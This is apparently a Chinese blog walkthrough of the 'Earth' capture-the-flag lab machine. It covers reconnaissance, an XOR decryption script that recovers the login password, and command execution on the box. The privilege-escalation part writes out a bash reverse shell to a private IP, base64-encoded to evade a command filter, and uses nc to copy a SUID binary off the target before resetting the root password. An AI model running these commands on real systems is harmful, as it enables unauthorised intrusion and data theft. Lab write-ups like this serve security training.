Earth靶场攻略

一步 信息收集

我们使用 nmap 进行 dns 解析

把这两条解析添加到hosts文件中去,这样我们才可以访问页面

这样网站就可以正常打开

扫描ip时候我们发现443是打开的,扫描第二个dns解析的443端口能扫描出来一个 txt 文件

dirsearch -u https://terratest.earth.local

打开后我们发现一个notes.*,就是什么后缀名都可以,但是notes明显应该是txt后缀

我们把 txt 后缀加上访问一下

打开后我们拿到了一个用户名 terra,并且这里告诉了我们一个加密方式是利用XOR异或方式加密的

testdata.txt其实就是我们的密钥

而密文就是我们主页面最下面这一串16进制的数字,我们可以看出来这里面最大的数就是F,所以肯定是一个16进制的数字

第二步 漏洞利用

我们使用 python 脚本去解密一下

import binascii

entry_str = '2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a'
pass_txt = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."
pass_txt_16 = binascii.b2a_hex(pass_txt.encode(encoding="utf-8")).decode('utf-8').replace("b'",'')
result = hex(int(entry_str,16)^int(pass_txt_16,16)).replace('0x','')
datatext = binascii.unhexlify(result).decode('utf-8')
print(datatext)

获得key

仔细看不难发现都是围着这个来循环的

earthclimatechangebad4humans

我们去登录吧

账号:
terra
密码:
earthclimatechangebad4humans

这里是一个命令执行界面

find / -name "*flag*.txt"
cat /var/earth_web/user_flag.txt
获取第一个flag

第三步 提权

反弹shell

对命令进行了过滤
bash -i >& /dev/tcp/192.168.47.130/8888 0>&1
进行base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ3LjEzMC84ODg4IDA+JjE=
结合解码命令
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ3LjEzMC84ODg4IDA+JjE= | base64 -d | bash

成功弹到

先查看一下有权限的文件

find / -perm -u=s -type f 2>/dev/null

strings /usr/bin/reset_root

看到一条信息:大概意思是修改root密码为Earth
尝试执行reset_root

reset_root

提示触发器不存在

由于靶机没有ltrace,所以将/usr/bin/reset_root传到本地分析

kali攻击机监听2222端口,并将接收到的内容重定向到文件reset_root/

nc -lvvp 2222 > reset_root

靶机上将/usr/bin/reset_root文件的内容通过nc重定向到攻击机的2222端口

靶机上将/usr/bin/reset_root文件的内容通过nc重定向到攻击机的2222端口

nc 192.168.131.128 2222 < /usr/bin/reset_root

可以看出会检查触发器是否存在为条件,这里就是/dev/shm/kHgTFI5G、/dev/shm/Zw7bV9U5、/tmp/kcM0Wewe这3个文件夹都需要存在
那么在靶机上创建这三个文件夹,再执行reset_root,成功重置root密码为Earth

touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe

这里可以登录拿到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值